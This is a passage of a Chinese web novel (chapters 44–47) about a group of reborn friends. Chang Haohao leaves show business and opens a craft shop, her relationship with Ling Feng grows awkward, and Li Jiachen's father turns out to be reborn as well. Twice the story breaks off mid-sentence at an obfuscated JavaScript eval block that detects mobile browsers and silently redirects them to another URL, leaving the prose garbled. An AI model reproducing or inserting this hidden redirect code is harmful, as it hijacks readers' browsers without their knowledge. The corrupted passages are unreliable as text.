“终于到期了。今天可是个好日子,必须庆祝庆祝!” “我举双手同意,我们去逛超市买些菜和零食,回好好家做饭,怎么样?” “提议不错,我举双手双脚赞同。” 沈骁和安燃在旁边叽叽喳喳的讨论着,常好好习以为常,点了点头:“好主意,我们分头行动,一个小时后在超市汇合。” 听到家的主人发话,沈骁兴奋得即将举手欢呼,被常好好及时按下,拉着她暂时离开公司周围。之后,沈骁去接李嘉晨,剩下安燃和常好好在刚装修好的门店休息。 安燃对店里的瓶瓶罐罐特别好奇,拿起这个,又举起那个,把常好好看得直心惊,大气不敢出,连忙提醒:“你悠着点,别向沈骁似的,一不小心把盒子打翻。”不等说完便将安燃手里的东西抢了回来,轻轻放在原位,暗自松了口气。 这家手作店的位置处在蓝时奶茶斜对面。因为原先店的老板不想继续做赔本买卖,打算放弃经营,最后被常好好盘下。 “不是我挑剔,你确定白白浪费这么好的地角干什么创意手作?”安燃觉得可惜,“就为了吸引江翊?能行吗?要我说直接跟江跃联系,反正他喜欢你。” 安燃一直知道常好好和江跃的事,之前一堆人出去吃饭帮忙打掩护的人中就有安燃。 “你以为我很闲?”常好好低头检查店里的布置。她之所以自信是因为江翊曾经提起过她喜欢动手做一些可爱有趣的饰品,“我觉得这个方法更好,下班的必经之路,我不信江翊不进来。” 安燃没出声,盯着店里各种稀奇古怪的东西,手一如既往的欠,看得常好好心烦,忍了又忍,实在忍不下去,双手抱胸道:“在我面前别装了,你那点小心思能瞒过我?” “你稀里糊涂说什么呢,我能有什么心思?”安燃想都没想直接反驳。 常好好挤出一抹坏笑,轻哼一声:“沈骁那天还问我来着,当初那么紧急的情况下怎么不找你假结婚呢?” “我说人家安燃有喜欢的对象,我总不能为了一己私欲,逼着安燃跟我演感情戏吧。” “对了,她一直追问我对方是谁。” 安燃心里一紧,忙问道:“你没告诉她吧?” “暂时没有,但保不齐以后……”常好好故意拉长音。果不其然,安燃露出讨好的笑,“别,你千万别告诉沈骁,她就是个大喇叭,知道了肯定搞事情,你觉得她能不搞砸?” “你这么说有点过分了,人家沈骁平时做事情很给力的好不好,就是她那张嘴吧,”常好好要多刻意有多刻意,“哎呀没啥大事,沈骁顶多在江翊面前直白说你喜欢她而已。” “而……而已?” 安燃脸都变了,立刻举起手机,“今天所有庆祝都由我消费。”他做出祈求的手势,“求你,算我求你,千万别对外说,跟谁都不能说这件事。” “行吧,看在我们这些年的交情——”常好好猛地瞪大眼睛,见安燃放下心来,嬉皮笑脸地拿起另一个盒子,吓得激动大喊,“赶紧把手里的盒子放下。” 天知道她上次低头找掉出去的珠子用了多长时间。 想起这事就来气,挨千刀的沈骁干完坏事找了个去接李嘉晨放学的理由,留她独自一人找配件,然后…… 常好好停止回忆,抿了抿唇,垂头摆弄着手边的毛毡,嘴里嘀咕着:“上次的配件没找齐,也不知道掉哪里了。” 安燃总觉得眼前的常好好哪里不对劲,没深想,接着话说:“几个小配件而已,有时间再找吧,又不是真开店。” “谁说不是真开?”常好好加重语调,眯了眯眼,语气略带威胁,“你能不能好好说话。” 安燃有求于人,谄媚的笑着,手握成拳帮常好好捶背,边捶边道:“开个玩笑而已,你大人不记小人过,别跟我一般见识。” “嗯,力道不错,右边,对右边多敲敲。”常好好正指挥着免费劳动力,门口突然传出自动感应播放的声音—— “欢迎光临!” “欢迎光临!” “欢迎光临!” 抬起头看见来人,她嘴唇抖了抖,默默移开视线。 45. 庆祝 “你怎么才来?”安燃收回手,一副看热闹不嫌事大的表情,“好好合约到期这么好的日子你就这样空手来的?” 这些天,明眼人都能看出来常好好和凌枫之间奇奇怪怪的氛围。大家嘴上不说,心里早已有了各种猜测。 凌枫无视安燃的拱火,越过他来到常好好身侧,“好好。” 对方叫着她的名字,常好好不自觉地咽了一口口水,偏过头去,故作镇定地问道:“怎么了?” “我去一趟卫生间,你不介意吧。” “……” 常好好扯了扯唇,“不介意。” 安燃望着凌枫的背影,见他轻车熟路直奔卫生间方向,再瞧瞧常好好有些不太爽的面部表情,想到自己今日是第一次来店里,恍然大悟地点头,随即用胳膊肘碰了碰常好好,“你们俩不会是……” 常好好心提到嗓子眼,“你别误会,我们只——” “意见不合,在这里吵起来了?”安燃脑回路和沈骁有的一拼,“是不是那次,我上课来不了,沈骁带嘉晨没时间。你们两个在这讨论,闹得不愉快?” 常好好白他一眼,头一扭,压根不想吭声。 安燃不会看脸,以为常好好对凌枫有意见,开始瞎分析:“真是那天啊,你俩不会因为凌楷吵架吧?不是暂时洗清嫌疑了吗,难道你还怀疑他?” 上个月常好好生日当天,恰巧赶上凌楷和成世泽几个人在一起。一群人结伴过来,挨个送她生日礼物,期间常好好亲耳听见凌楷建议成世泽少吃巧克力,同在客厅的凌枫也听到。后来小分队开会举手表决,绝大多数人认为凌楷的嫌疑减小。 “当时就你没举手,你不会抓着凌楷不放跟凌枫争论了吧?”安燃难得长了一回心眼,劝道,“毕竟是人家亲哥哥,不爱听属于正常情况,你别和他一般见识。” 瞧着常好好依旧不说话,安燃皱起眉头,笃定他们二人之间的矛盾积攒到一定程度,正寻思如何充当和事老,卫生间那边连续传来叩门声,他随口问道:“哪来的敲门声?” “卫生间的大门偶尔出问题。” 安燃怔了怔,无意识地翘起嘴角,心里幸灾乐祸:“凌枫真够倒霉的。”表面心口不一,一本正经地道,“你赶紧去看看,别一会儿又跟我们阴阳怪气。” 常好好抬眼,望着卫生间思绪万千。 “咚咚咚”的敲门声很有频率,她一步一步走到门口,脚步微微一顿,小声问道:“锁又卡上了吗?” “是。” 男人具有磁性的音色传到耳朵里,她心跳加速,呆愣愣地盯着门若有所思。 上次被关在这里的人是常好好。 那天晚上,她跪着满屋子寻找掉落在地上和角落里的珠子以及各种小配件,一直垂头快要累晕过去,在她即将打通电话准备大骂沈骁时,凌枫出现在店里。 原本一个人干活变成两个人。 为了感谢凌枫的帮忙,她在店里“宴请”凌枫,本意想留住对方争取一鼓作气,加快速度搞定烂摊子。万万没想到一时兴起喝多了狂跑厕所,结果倒好,把自己关在了里面。她酒劲上头疯狂拍门,凌枫纯靠蛮力才将门踢开。 “你一直没找人修?” 凌枫的话打断了常好好的回忆。她犹豫片刻,握住门把手用力向上抬,反复多次,再使劲一推。 许是用力过猛,上半身产生惯力不受控制地朝前扑。见状,凌枫反应极快,一把搂过她的腰身,慢慢将她扶正。 短短几秒钟,常好好从门外冲到门内,整个人晕晕乎乎。 感受到腰间的温度,她渐渐回过神,朝后跳一大步。 “咔嚓。”厕所门被她背部结结实实地压着。 门又被锁上了。 常好好:“……” 真他么的点背。 本就闷热,密闭的空间使她更加燥热,眼下的情况跟那天越来越像,一幅幅画面在她的眼前闪过。 凌枫将门踢开,见她没事,低头看锁。她抢先一步,后背紧紧贴在门上,挡住了凌枫的去路,略带质问的口吻:“那天在书房你想要干嘛?” “你喝多了。”凌枫所答非所问。 她双手用力扯过凌枫的脖颈。 一切发生的太快,凌枫脚下不稳朝前倾,嘴唇轻轻触碰到她的耳垂。不给男人逃离的机会,她踮起脚尖吻上去…… 那天的片段不断在脑海里闪回。 常好好咽了抹口水,快速移开目光,浑身不自在。 这些天她非常懊悔,每时每刻都在提醒自己,那天一定是喝多导致脑子不清醒,才会一时冲动亲了凌枫。 想到这里,她瞥了凌枫一眼,“你不用因为那件事躲着我,后来我仔细回想了一下,你说的没错,的确是我喝多了。” 凌枫:“我没躲着你。” 常好好看向凌枫,一时之间懵住了。 “喂,啥情况?你们俩都在里边呢?” 门外,安燃一边敲着卫生间的门,一边大喊:“我必须提醒你们一句,我们是团结友爱的队友,关键时期断不能分崩离析。” 闻言,常好好翻了个白眼。 不愧是安燃,真是个小“天才”。她挤出标准假笑,指向后面的门,“今天安燃请客,一会儿去超市和商场你多拿点东西。”话落转过身去,把力气全部集中在她的右脚,然后狠狠地朝门下边踹了三脚。 “哐哐哐!” 门被踹得弹开。 门外的安燃怔住了。 常好好面无表情,像风一样从他身边走过。他捂住胸口,身体忍不打了个颤,小声嘀咕:“好家伙,不减肥了就是有劲儿哈,吓死我了。”说完手向凌枫拍去,怎料凌枫默默越过他,一句话不说,看表情同样不开心。 他有点发愁,觉得两个人之间越发不对付。 一行三人开车来到超市门口,直到沈骁和李嘉晨出现,安燃稍微放松了些,借着买东西的功夫没少给沈骁使眼色,可惜沈骁没看懂,关心地问:“燃哥,你眼睛怎么了?是不是太干了,不舒服。” 安燃:“……” 他有时候怀疑沈骁是不是故意为之,见过眼睛干这么眨眼的? “天啊,常好好退圈了,好可惜啊,不是刚火吗。” “对啊,不理解,是不是有什么内幕?” “说不准,娱乐圈太乱,谁知道因为什么事,不会是隐婚生子了吧?” “有这个可能性,之前营销号说她私生活可乱了,估计找到下家了。” “隐婚生子有必要直接退圈?感觉不像。” “谁知道呢,反正都不是啥好人。” 三个人推着购物车从常好好等人身边路过,说的那个起劲儿。 都说文体不分家,安燃退役前的热度虽然说赶不上凌枫,但也不差。那段时间不管出了什么样的成绩,都被夸过,被骂过。 对此他见怪不怪,反倒是旁边的沈骁叉起腰,咬着牙,恨不得上去干一架似的。担心沈骁真发疯,他抓住沈骁的购物车,把它推到另一边,“沈骁你过来帮我看看,这个东西是什么?” 别说,这招比干眨眼睛好用多了。 沈骁仍旧心气不顺,瞄向安燃指着的东西,满脸黑线:“你是不认字,还是眼神有问题。” 这年头,有人不认识纸抽? 安燃探头探脑,见常好好和凌枫、李嘉晨走远了些,才急忙道:“你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362908|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明白我的意思,没看出他俩之间有事?” 一句话把沈骁整不会了。过了大概半分钟,她拍了拍安燃,“行啊燃哥,原来你不傻啊,竟然发现了。” “……” “我以为你一天除了教人打羽毛球,什么都不懂呢。” “……” “话说你哪天发现的?” “你说哪天?今天呗,刚才在店里他们俩被关在卫生间里,我听着里面不对劲,差点打起来。” 沈骁默了。 “不过没事,还好我机灵,及时敲门制止了悲剧的发生。” 沈骁像看傻子一样看安燃,无奈摇了摇头:“哥,我错了,你还是跟以前一样缺心眼。” 被鄙视也不生气,安燃全当沈骁跟他开玩笑,推着购物车慢慢走,突然一个熟悉的名字被人大声喊出来。 安燃和沈骁全部定在原地。 “李嘉晨!真的是你。”一个看起来六七岁的小男孩开心地跑过来,朝李嘉晨热情地打招呼,“你和我一样,来超市买东西?” 李嘉晨正琢磨问题呢,忽然被人叫住,抬起头看见了小男孩。 小男孩见他没说话,仰起头,看到了常好好和凌枫,一把抓住李嘉晨的手,激动地道:“他们是你的父母吧,我第一次见。” “啊……对。”李嘉晨有一句没一句的应付着。 对面的男孩是他幼儿园毕业班的同学。想着九月上小学不在一个学校,不打算浪费口舌,随便找了个理由,“你妈妈在后面等你呢,我先走了,拜拜。” 小男孩们的对话不会引起大家注意。 沈骁从远处一路狂奔过来,条件反射般拉着常好好往前冲。凌枫不明所以,却依然跟在后面。 “还好今天是工作日,超市人不多。被那些狗仔拍到,再买断多不合适。”话说到一半,沈骁缓过神,脚步停下来,“你瞅我这记性,忘记你退圈了。” “好意思说我傻,你没精到哪去。”安燃终于有机会回击,“今天不就是为了庆祝好好退圈?” 沈骁狠狠地瞪他一眼。 听着他们拌嘴,常好好没什么表情。她兴致缺缺走在最前面,推着购物车即将拐弯。 “小心!”凌枫从身后绕过来,及时按住她的车把。 差点和旁边的男人碰到。 听见声音,前面的男人转头,不好意思地说:“对不起,光看那边没注意到。” “没事,不要紧。”常好好说道。 距离收银台有一定距离,凌枫仍旧按住购物车,看了眼心不在焉的常好好,柔声道:“我来推吧。” 常好好没拒绝,手一松,微微用力将购物车推到他身前。 沈骁始终跟他们保持五米左右的距离,咧着嘴,一脸欣赏地望着他们,“多美好的一幅画面,我的cp一定会成真。” 安燃蹙眉,不理解地抽了抽嘴唇,“你真是魔障了。” “赌吗?” “当然可以,赌什么你说吧,反正最后都是我赢。” “如果你输了,你要告诉我一个秘密。反过来我输了,我告诉你一个有关于我的秘密,怎么样?” 安燃二话不说答应了,“听起来不错,有趣儿。” “晨晨?”一道男声从身后传过来。 有些耳熟的音色使沈骁的笑容僵住。 旁边的李嘉晨身体一激灵,这个声音他再熟悉不过。 “李嘉晨他说他是你爸爸,”刚才的小男孩不知道从哪个地方冒出来,好奇喊着,“你到底有几个爸爸?” 三个人中,安燃率先回头,看见了站在身后的中年男人。 男人正是李嘉晨的爸爸——李川。 46. 正缘 沈骁垂头与李嘉晨对视,一大一小默契地转过身子,同时露出干笑。李嘉晨先下手为强,蹦蹦跶跶跳到李川跟前,“爸,你怎么在这呀。” 李川蹲下身子,亲切地抚摸李嘉晨的头,“爸爸今天提前下班,来超市买些东西。”他侧头看向正在尬笑的沈骁,笑着问道,“麻烦你了,今天正巧看见,我先带他回去了。” 沈骁微笑点头。 李嘉晨心里不太愿意。一周里只有周四没有补习班,好不容易有空余时间与大家聚在一起嗨皮,就这样被剥夺了。 他冲着沈骁,疯狂使眼色。沈骁装作没看见,朝李川说道:“好的晨晨爸,我先走了,再见。” 做戏做全套,她装作与身边的安燃不认识,嗖的一下跑走,生怕安燃看不清形势跟过来。 安燃虽然没什么眼力见,但不是真的傻子。他推着购物车从李川身边路过,嘴里自言自语:“刚才那人真没有礼貌,差点撞到我。” 李嘉晨差点吓死,小心脏砰砰砰地狂跳,瞅着小男孩不走,暗中翻了个白眼,抬手揪起李川的体恤,“爸爸,我们去吃大餐吧,走吧走吧,一会儿饭点人该多了。” 小男孩从后边窜出来,眼眸里藏着一抹疑惑,不依不饶地问:“李嘉晨,这个是你爸爸,刚才两个大人是谁啊?不是你的爸爸妈妈吗?” 这个年龄的孩子认死理儿,不把事情搞清楚决不罢休,倒是没别的意思,纯属求知欲过盛。 李嘉晨脸都白了,支支吾吾道:“啥呀,没有别人吧? 小男孩干脆站在李嘉晨身旁,一边比划一边道:“就是两个戴着帽子和口罩的大人,他们去哪儿了,刚才还在呢?” 小男孩的妈妈推着购物车站在一旁,见自家儿子打破砂锅问到底,一时尴尬极了,即便心里面早燃起了八卦之心,还是站出来拽住儿子,“不好意思啊,小孩子之间开玩笑呢。” 小男孩注意力说转就转,瞄到柜台上的玩具,激动地喊着:“李嘉晨你快看,那有工程车!” 李嘉晨一万个不愿意,奈何他的小身板比不过身高一米三的小男孩,几乎是被硬薅过去的,想哭的心都有了。 他们几个人应该没看见吧?屈辱啊,太屈辱了! 李川并未上前阻止,给足小孩子们空间,朝小男孩妈妈点了点头,随口聊道:“我家晨晨很敏感,刚才那两个人是我的表妹和妹夫,不久前我还碰到他们。”他稍微顿了下,又道,“估计怕同学多想,随便一说。” 小男孩母亲露出了然的表情,看着李川有些忧愁,安慰道:“原来是这样。没关系的,我还羡慕你有这样的孩子呢,不像我家那个,一天没心没肺,一看就没有主心骨,风风火火的个性。” 两个大人有一句没一句的聊着。 没多久,两个小孩子手里各拿着一个玩具车,“心满意足”地离开。 当然,李嘉晨的开心是装的。 由于小男孩叽叽喳喳嘴说个不停,他刚没听见李川和别人的对话。此刻紧张极了,生怕暴露秘密,举起小汽车,故作天真地问道:“爸爸,你和阿姨聊了什么啊?” “聊聊你们即将上学的准备工作。”李川转移话题,“走吧,带你去吃饭。” 李川牵着李嘉晨离开。确定他们已走出超市,常好好等人才慢慢走出来。 常好好和凌枫没开口,安燃推着满满一车食物和物品,长叹一口气:“幸亏是在超市里,周围全是障碍物,否则我们全暴露了。” “好惊险,好惊险,我心快跳出了,”沈骁拍着胸脯,显然吓得不轻。这要是被李川撞见,她有几个嘴都说不清,总不能坦白是重生人吧,很容易被李川当成精神病,“还好还好,虚惊一场,工作算是保住了。” 安燃有些无语,“我说你真的放弃写小说了?” 沈骁没好气地瞪他一眼,“你想啥呢?李嘉晨上学的时候我每天狂码字,眼前这本到了收尾,等全部写完我一定要好好休息休息我的脑子,感觉每天超负荷,太累了。” 两个人拌嘴拌的超起劲,这边两个人默不作声。 凌枫关注常好好的一举一动,见她拧眉,主动开口道:“怎么了?看你心事重重的样子。” “不知道。”常好好坦诚道,“说不上来,总觉得怪,好像我忽略掉了一些重点。” 李川的出现让大家心有余悸,庆祝起来没有想象中嗨,尤其是被庆祝的主人公常好好。 当前的状况属于一波未平一波又起,她感到脑袋不够用,上厕所的间隙迷迷糊糊走到书房门口,不假思索走了进去。 安燃的话她多少听进去一些,心里明白想让江翊光顾店没那么简单。 正寻思着,手下意识地拿起放在书柜里面的小卡——凌枫手拿羽毛球球拍,飞腾在半空。 “咚咚咚!” 突如其来的敲门声惊到她,慌乱间将小卡随便一塞,回过头,看到了凌枫。 “你怎么来了。”她装作漫不经意的样子,抽出纸巾盒里的纸巾,像模像样地轻擦书桌表面。 凌枫移步到她前方,“我突然有一个好主意。” “你指什么?” “江翊。”凌枫看到常好好抬头望他,微微一笑道,“我有办法让江翊自愿进入你的手作坊。” 常好好眼睛一亮,“哦?说来听听。” “王洋。” 凌枫从口袋里掏出一张酷誉门店专用抽奖券,手指微勾抖了抖抽奖券,“江翊所在公司是王家产业,王洋跟他亲哥争了那么多年,我想他不会错过跟酷誉的合作,更不会弃用我给他的建议。” 常好好瞬间明白他的用意,只是没料到他会想到找王洋合作。 “我知道王洋是个什么样的人。之所以如此,更容易被我们所用。”凌枫微微停顿,“不过,流程需要时间。” “我明白,谢了。”常好好清楚凌枫此举是为她和新开业的手工坊好,懒得去纠结其他。 两个人一前一后从后面绕过来,沈骁细细品味他们的表情和动作,连桌上的美食都被她抛到脑后,脑海里冒出一个又一个精彩的画面。 安燃上了个厕所,回来发现桌上的零食原封不动地摆在那里,惊讶地看着沈骁,“今天啥情况,转性了?” 沈骁把安燃从上到下扫描一遍,无奈摇了摇头,苦口婆心地道:“燃哥,你是不是从没谈过恋爱。” 哪壶不开提哪壶。想起江翊,安燃紧闭嘴巴,啥都不说,只顾着往嘴里炫食物。 凌枫见安燃猛往嘴里塞东西,皱了皱眉,“你最近胖太多,不是每天教课?” “不会说话就把嘴闭上。”安燃气的没有好语气。 凌枫不生气,云淡风轻地道:“我好心提醒你,看到你的身材变样,很诧异罢了。” “……” 虽说习惯了凌枫的毒嘴,但仍然忍不住反驳:“在役和不在役的训练强度能一样吗?你比我好到——”眼神瞟到凌枫的臂膀上,硬生生将到嗓子眼的话咽了回去,别提多不好受。 亲眼见证安燃吃瘪,沈骁吃得津津有味。 那边的男人们还在滔滔不绝地进行语言对抗,她看热闹不嫌事大,打开一盒瓜子,往右边一递,示意常好好跟她一起看乐子。 常好好正低头认真翻看着重生手册,眼前忽然多出一盒瓜子,她微微睁大眼睛,抬头瞄了一眼凌枫,放下手册问道:“你上厕所吗?” 沈骁立刻领悟到常好好的意思,不犹豫一秒,放下手中的食物。 两个女人结伴离开。 凌枫余光始终注意着常好好。见她离开,轻轻一瞥,然后抿了一口茶水,开始真正发挥他的毒舌。 卧室内,常好好一个人坐在床上放空。刚刚随便找了个理由溜走,谁成想沈骁竟然真的去上厕所。 “呼……爽!”沈骁从卫生间里走出,可以说是春风满面。 常好好扯了扯唇角,不就上个厕所,至于吗?她心头一团乱麻,放弃前奏直接进入主题:“如果一个人心中有喜欢的人,那么他是不是就不会再喜欢其他人了?” 沈骁瞪大眼珠子,一下子飞扑过来,“谁?你知道枫哥喜欢谁了?” “……” 常好好嘴硬道:“我没说他。” “哦。” 这些天憋的难受极了。再不把心里话讲出来,她怕她疯掉。 常好好下定决心,刻意放低声音说:“你不觉得他的行为很奇怪?明明跟你暧昧,却又停止不前,让我搞不懂他的内心世界,也不清楚自己该如何,是该前进还是后退。” “很正常嘛,那可是枫哥,我估计他妈妈都不可能知道他心里想的是啥,太神秘,太难懂。”沈骁猛地愣住,“好好,你可算承认你爱上枫哥了。” 常好好吓得赶紧捂住沈骁的嘴巴,继续嘴硬:“你小点声!再说了只是喜欢,喜欢而已。” 沈骁眨了眨眼,示意自己知道了。 嘴巴终于“重见天日”,她学着常好好,压低声音:“你说的有道理,你之前喜欢过江跃,对陆颂同样有过心动,可能明年这个时候你就不喜欢枫哥,换人了。” “……” 什么跟什么啊? “沈骁,你这话我听着怎么那么别扭呢。”常好好不理解,为什么外界总是觉得她是一个感情丰富,见一个爱一个的女人。 “有吗?”沈骁歪头想了想,“我说的是事实啊。” 常好好气的往后仰,直接躺在床上,“什么事实?整得我好像一个花心大萝卜。再说,陆颂不算心动,准确说是好感和感激。江跃也是感激大于喜欢,总之已经是过去式了。” 这句话明明说了很多次,怎么沈骁就没听进去呢。 “我懂我懂,枫哥是现在进行时,未必是正缘。”沈骁一本正经的分析。 常好好放弃挣扎了,干脆在床上摆了个大字。 不想,她一点都不想再说话了。 不管怎么说,每周例行的总结会议必须走一遍流程。 客厅里每个人都有自己的小九九,常好好也不例外,聊起事来有气无力。 最后不到八点钟,“常好好顺利退圈”庆祝活动到此结束。凌枫和安燃各回各家,常好好和沈骁各回各屋。 一晃又到了腊月。 常好好精心创立的手工坊依旧门口罗雀。 她每日在店里整理台面、打扫卫生,晚上为了对上江翊的下班时间,熬到近十点才关门,过着两点一线的生活。 江翊那边仍没有进展,好在李嘉晨这边终于迎来好消息。 刚放寒假,沈骁明里暗里做了许多工作,李嘉晨妈妈总算同意陪李嘉晨去做心理咨询。 本来一切安排妥当。李嘉晨妈妈因为学生临时加课,不能前来。常好好等人同情李嘉晨的同时以为原计划泡汤,谁成想李川竟然请了假陪李嘉晨过来。 计划照常进行。 李嘉晨是几个人里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367014|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最紧张的人,因为他心里明镜着李川来并不能直接解决问题。 视线落在远处的李嘉晨,沈骁唉声叹气,嘴上嘀咕:“我瞧着嘉晨心情郁闷,不知道今天这出有没有用。” 常好好见李川已经进入到里面,才从前台里走出来与沈骁汇合。其实她心里也没底,“嘉晨妈妈没来,我看悬。” “别的不说,吴妍新真有气质啊。”目送吴妍新带着李嘉晨和李川进入咨询室,沈骁话题说转就转,完全把李嘉晨的烦恼抛在脑后,“你说你二哥到底喜欢吴妍新还是夏琳?” 变得忒快了点,常好好斜她一眼,“你变色龙吗?说变就变。” “你不好奇吗?”沈骁说起成世泽来比说起李嘉晨来劲多了,“你二哥是我见过第二神秘的人。最先以为他喜欢你,结果怎么着,竟然是个乌龙。后来夏琳出现,以为他喜欢夏琳是板上钉钉的事。嘿!你说巧不巧,又冒出来一个吴妍新,真是说不清楚。” 常好好抓住重点,深知她内心里第一神秘的人是谁,没搭腔。 两个人在外面静静等待,等待李嘉晨和李川做完家庭咨询好察言观色,能帮助李嘉晨一点是一点。 “出来了。”沈骁一下子从座位弹起来,与常好好保持距离。 她看了看李嘉晨,寻思表情和进去没什么两样。 常好好重点关注李川的神态,发觉李川同样和进去前相似,并没有什么不同,直到一道声音从侧方响起,李川的面部表情变了,似是震惊,似是恍然大悟。她眯了眯眼,顺着他的目光看去。 看见了成世泽和夏琳。 这时候李川和李嘉晨已经走到前台处。她跟在李川斜侧方,观察着李川的一举一动,发现他和陈舒悦简单交流便路过成世泽和夏琳身边,并没有停留。 心里越发觉得奇怪,明明刚刚看见成世泽和夏琳秒变脸,显然李川认识他们,或者说李川认识他们其中一人。 沈骁趁李川往前走的功夫回头朝她眨了眨眼,举起手机示意手机联系。常好好心领神会,点了点头。 看见常好好在这里,成世泽表情顿住。他知道常好好已经退圈,但没有深问,笑着说道:“忆时,你一会儿怎么走。” “我开车了。”常好好满脑子全是李川的表情,连忙和他们打了声招呼便追着跑出去。 沈骁和李嘉晨父子正在等电梯。 她停下焦急的脚步,从沈骁和李嘉晨身边走过,慢悠悠地站到李川身边,拿起手机一顿操作,手指长按“按住说话”,大声说:“我等电梯呢,还要等一会儿到,你别着急。” 全程表演非常自然。 沈骁和李嘉晨两眼懵逼。 眼看电梯来到这一层,常好好把手机放回包里。等所有人都上完,才抬脚跟上去进入电梯内。 许是赶上饭点,电梯中途停下来三次,电梯里的人越来越多,前面的人向后移步,常好好右脚下意识往后撤,不小心踩在了李嘉晨的脚上。 “哎呀!”李嘉晨吃痛,低声喊了句。 听到痛苦的嚎叫,她立即挪回右脚,抱歉地说:“不好意思啊,小朋友。”声音过于温柔,温柔得有点吓人。 李嘉晨不自然地回道:“没……没关系。” 电梯到达一楼,大家陆续下去,她刻意走得慢,跟在李川身后。 李川拉着李嘉晨的手,朝沈骁道:“麻烦你了小沈,我们一会儿去吃饭吧,附近有一家新开的饭店,听说味道不错。” 沈骁摸不清常好好的用意,猜测是不是要跟她一起商量事情,立刻拒绝了李川的好意,“谢谢李哥,我不去了,晚上要和朋友聚餐。” “是这位朋友吗?”李川朝后转身,冲着常好好微笑,“我们可以一起。” 周边人来人往,常好好和沈骁还有李嘉晨全部懵逼地定住了。 李川不拐弯抹角,坦言道:“其实我跟你们一样。” “不会吧!”沈骁第一个缓过神,大喊一声,“你也重生了?” 路过的人纷纷侧目,却没有停留,权当一句玩笑话。 如果是重生的话,反倒能说得通他刚才看成世泽和夏琳的眼神。 事情变得复杂,常好好没有拒绝李川的邀请。 四个人来到一家旋转寿司店。 李嘉晨没什么食欲,头趴在桌上,对李川接下来的话充满了好奇。常好好知道李川在润成集团工作,她在来的路上,心里已经猜测了无数个可能性。 “嗯!嗯!”沈骁好吃得直拍大腿,“我的妈呀,太好吃了,是我吃过最好吃的寿司,怎么早没发现这家。” 常好好:“……” 李嘉晨:“……” 果然是吃货。 李川温和的笑笑,开始讲来龙去脉,“当时我见晨晨心情不好,多少不放心他。所以跟在他身后,直到商场塌方。” “这两年我很纠结,纠结要不要跟你们坦白,却又害怕因为我影响事情走向从而耽误你们的事,所以忍着没有开口,直到最近……”他欲言又止,缓了缓,才继续道,“重生前,我曾经在成总办公室门外无意听见成总和夏琳的谈话。夏琳的心理机构一直跟我们公司有合作,所以我对她印象很深刻。” 常好好瞬间找到这段话的重点,问道:“他们谈到了什么。” “孩子到底是谁的?” 李川表情严肃,学着成世轩的语气重复一遍,然后一字一顿地说:“这是成总逼问夏琳的话。” 47. 别扭 回到家里,常好好和沈晓非常默契地保持沉默。 “好尴尬,演了半天人家全知道。”沈骁躺在沙发上。她看了一眼常好好,坐了起来安慰道,“你别想太多。可能李川听错了,或者说他记错,我觉得你大哥不是那样的人啊。” 李川看见成世泽和夏琳一起出现时的眼神骗不了人,倘若成世轩和夏琳之间真的有什么……常好好晃了晃脑袋,窝进躺椅中,“我也不愿意相信。” 见常好好心情不佳,沈骁不好再瞎分析,可她忽然想起从前的事,忍不住嘀咕:“总感觉这集我看过呢。” “哪集?” “凌楷呀,你忘了。” 当初他们分析凌楷发现成世泽知晓他与魏筝的关系,所以心里升起伤害成世泽的心思,前一阵因为巧克力的事,暂时把这种可能性降低。现在再看,套入成世轩和成世泽一样可以说通。 “会不会成世泽发现夏琳和亲哥哥有不正当关系,然后……”沈骁点到为止,“猜测,都是猜测。对了,上一世警方是不是没查过夏琳。” “应该是吧,不知道。” 常好好一片迷茫,有一种时不时给自己上难度的感觉。 当天晚上,重生小分队会议的对话框不变,开会的人却多出一个人。 那个人正是李川。 有李川的加入,大家将从前的计划重新复盘一遍。也正因为李川加入进来,“帮助李嘉晨计划”在三个月后顺利完成。 “诶呦小晨晨,心情不错呀。”安燃顺势拍了拍李嘉晨的头,“前一阵看到你,我都跟着难受。你一点精气神都没有。” 李嘉晨眼神清亮,眉眼弯弯,笑眯眯地道:“我妈妈被我爸爸和我说通了。” 闻言,沈骁故作咳嗽几声。 李嘉晨接收到信号,一下子蹦到沈骁身边,“当然了,最给力的人是骁姐,她跟我妈妈谈了许多,那叫一个感人肺腑,我妈完全带入进去,被她感动哭了。” “那你看看,也不看我干什么的,我为了这件事背了一晚上的稿子。” “对对对,我骁姐功劳最大。” 沈骁被捧得舒服了,开始进行“获奖感言”演讲。 “我不谦让,这件事我的确有很大功劳。但是胜利仅凭我一个人做不到,其中还有你们的付出。”牛吹得差不多,她坦诚地说,“让花成花让树成树。你妈妈自己想通了这个道理,否则别人再怎么提建议她也听不进去。” 这天以后,李嘉晨的补习班从五门课变成两门课。不止他轻松,连带他的父母和沈骁都跟着轻松不少。 沈骁不用像从前那样一周七天每天带着李嘉晨补课。李嘉晨妈妈把自己的课程减去三分之一,空出多余时间接送李嘉晨。沈骁的工作轻松不少,薪资又降到一千元。 尽管工资断崖式下降,可是身心轻松一大半,沈骁乐得自在,每日有更多时间留在手工坊。 手工坊这边说是帮忙,实际店里压根没有顾客,她无聊得直叹气:“哎,感觉我好闲啊。” 常好好摆弄着收银台前的小摆件,“你最近不写小说了?” “刚写完一本,不能马上进行下一本。必须让我的大脑好好休养生息,否则受不了。” “正好,你现在可以好好休息了。” 